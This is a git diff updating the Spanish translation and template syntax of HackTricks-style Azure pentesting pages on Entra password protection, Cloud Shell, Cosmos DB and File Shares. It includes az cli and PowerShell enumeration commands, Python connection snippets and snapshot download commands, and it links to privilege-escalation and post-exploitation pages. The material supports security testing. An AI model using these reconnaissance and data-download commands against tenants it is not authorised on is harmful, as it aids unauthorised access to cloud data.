-It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
+Permite al administrador configurarlo para **bloquear** intentos cuando el riesgo es "Bajo y superior", "Medio y superior" o "Alto". Aunque, por defecto, está completamente **deshabilitado**:
> [!TIP]
-> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
+> Hoy en día se recomienda agregar estas restricciones a través de políticas de Acceso Condicional donde es posible configurar las mismas opciones.
-### Entra Password Protection
+### Protección de Contraseñas de Entra
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
-It also allows to **ban a custom password list** that you need to provide.
+La Protección de Contraseñas de Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) es una característica de seguridad que **ayuda a prevenir el abuso de contraseñas débiles al bloquear cuentas cuando ocurren varios intentos de inicio de sesión fallidos**.\
+También permite **prohibir una lista de contraseñas personalizadas** que debe proporcionar.
-It can be **applied both** at the cloud level and on-premises Active Directory.
+Se puede **aplicar tanto** a nivel de nube como en Active Directory local.
-The default mode is **Audit**:
+El modo predeterminado es **Auditoría**:
-## References
+## Referencias
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
index 20383da3b..e6374a437 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md
@@ -4,28 +4,28 @@
## Azure Cloud Shell
-**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible a través del navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
+**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible desde el navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
No hay permisos asignados a este servicio, por lo tanto, no hay técnicas de escalada de privilegios. Además, no hay ningún tipo de enumeración.
### Características Clave
-**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques a la cadena de suministro.
+**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques de la cadena de suministro.
**Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
**Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta. Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan al finalizar la sesión. Para persistir archivos entre sesiones, monta una cuenta de almacenamiento, que se adjunta automáticamente como **$HOME\clouddrive**, con tu directorio **$HOME** guardado como un archivo **.img** en Azure File Share. Sin embargo, los archivos fuera de $HOME y los estados de la máquina no se persisten. Para almacenar de forma segura secretos como claves SSH, utiliza Azure Key Vault.
-**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una fácil navegación de recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
+**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una navegación fácil de los recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
**Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas.
## Referencias
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
-* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
+- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistencia
-{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
-[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-persistence/az-cloud-shell-persistence.md
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
index 2a61c6ab9..6696a3338 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -8,17 +8,13 @@
Azure Cosmos DB proporciona múltiples APIs de base de datos para modelar datos del mundo real utilizando documentos, modelos de datos relacionales, clave-valor, gráfico y de familia de columnas, siendo estas APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin y Table.
-Un aspecto clave de CosmosDB es la Cuenta de Azure Cosmos. **La Cuenta de Azure Cosmos** actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde la consistencia Fuerte hasta la consistencia Eventual.
+Un aspecto clave de CosmosDB es la Cuenta de Azure Cosmos. **Cuenta de Azure Cosmos**, actúa como el punto de entrada a las bases de datos. La cuenta determina configuraciones clave como la distribución global, los niveles de consistencia y la API específica que se utilizará, como NoSQL. A través de la cuenta, puedes configurar la replicación global para garantizar que los datos estén disponibles en múltiples regiones para un acceso de baja latencia. Además, puedes elegir un nivel de consistencia que equilibre el rendimiento y la precisión de los datos, con opciones que van desde Consistencia Fuerte hasta Consistencia Eventual.
### NoSQL (sql)
La API NoSQL de Azure Cosmos DB es una API basada en documentos que utiliza JSON como su formato de datos. Proporciona una sintaxis de consulta similar a SQL para consultar objetos JSON, lo que la hace adecuada para trabajar con datos estructurados y semi-estructurados. El punto final del servicio es:
-
-{% code overflow="wrap" %}
```bash
https://.documents.azure.com:443/
```
-{% endcode %}
-
#### Bases de datos
Dentro de una cuenta, puedes crear una o más bases de datos, que sirven como agrupaciones lógicas de contenedores. Una base de datos actúa como un límite para la gestión de recursos y permisos de usuario. Las bases de datos pueden compartir el rendimiento provisionado entre sus contenedores o asignar rendimiento dedicado a contenedores individuales.
@@ -27,9 +23,8 @@ La unidad central de almacenamiento de datos es el contenedor, que contiene docu
#### Enumeración
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group
```
-{% endcode %}
-{% endtab %}
+{{#endtab }}
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName ""
```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+{{#endtab }}
+{{#endtabs }}
#### Conexión
-Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para realizar la conexión.
-{% code overflow="wrap" %}
+Para conectar la biblioteca azure-cosmosDB (pip install azure-cosmos) es necesario. Además, el endpoint y la clave son componentes cruciales para establecer la conexión.
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
-{% endcode %}
-
-Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más)
-
-{% code overflow="wrap" %}
+Otra forma de establecer una conexión es usar **DefaultAzureCredential()**. Solo necesitas iniciar sesión (az login) con la cuenta que tiene los permisos y ejecutarlo. Para este caso, se debe realizar una asignación de rol, otorgando los permisos necesarios (ver para más).
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,17 +174,11 @@ item = {
container.create_item(item)
print("Document inserted.")
```
-{% endcode %}
-
### MongoDB
-La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El punto final del servicio generalmente sigue este formato:
-
-{% code overflow="wrap" %}
+La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato:
```bash
mongodb://:/
```
-{% endcode %}
-
#### Bases de datos
En MongoDB, puedes crear una o más bases de datos dentro de una instancia. Cada base de datos sirve como un agrupamiento lógico de colecciones y proporciona un límite para la organización y gestión de recursos. Las bases de datos ayudan a separar y gestionar datos lógicamente, como para diferentes aplicaciones o proyectos.
@@ -206,9 +187,8 @@ La unidad central de almacenamiento de datos en MongoDB es la colección, que co
#### Enumeración
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name --resource-group
```
-{% endcode %}
-{% endtab %}
+{{#endtab }}
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName
```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+{{#endtab }}
+{{#endtabs }}
#### Conexión
Aquí la contraseña que puedes encontrar con las claves o con el método descrito en la sección de privesc.
-{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,26 +287,24 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
-{% endcode %}
-
## Referencias
-* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
-* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
-* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
-* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
+- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
+- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
+- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
+- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## Escalación de Privilegios
-{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
-[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-cosmosDB-privesc.md
+{{#endref}}
## Post Explotación
-{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
-[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-sql-post-exploitation.md
+{{#endref}}
## ToDo
@@ -338,6 +312,4 @@ print(f"Inserted document with ID: {result.inserted_id}")
* Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios
* Echar un vistazo a las restauraciones
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
index 0ec91d2ad..f78e56bb8 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
@@ -4,7 +4,7 @@
## Información Básica
-**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, los compartidos de archivos de Azure NFS no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear compartidos de archivos en red altamente disponibles que pueden ser accedidos simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
+**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, las comparticiones de archivos de Azure NFS no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear comparticiones de archivos en red altamente disponibles que pueden ser accedidas simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
### Niveles de Acceso
@@ -25,13 +25,13 @@
- **Autenticación de AD DS local**: Utiliza credenciales de Active Directory locales sincronizadas con Microsoft Entra ID para acceso basado en identidad. Requiere conectividad de red a AD DS local.
- **Autenticación de Microsoft Entra Domain Services**: Aprovecha los Servicios de Dominio de Microsoft Entra (AD basado en la nube) para proporcionar acceso utilizando credenciales de Microsoft Entra.
-- **Microsoft Entra Kerberos para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar compartidos de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
-- **Autenticación de Kerberos de AD para Clientes Linux**: Permite a los clientes Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra.
+- **Microsoft Entra Kerberos para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar las comparticiones de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
+- **Autenticación de Kerberos de AD para Clientes de Linux**: Permite a los clientes de Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra.
## Enumeración
-{{#tabs}}
-{{#tab name="az cli"}}
+{{#tabs }}
+{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name --source --snapshot
```
-{{#endtab}}
+{{#endtab }}
-{{#tab name="Az PowerShell"}}
+{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,11 +81,11 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "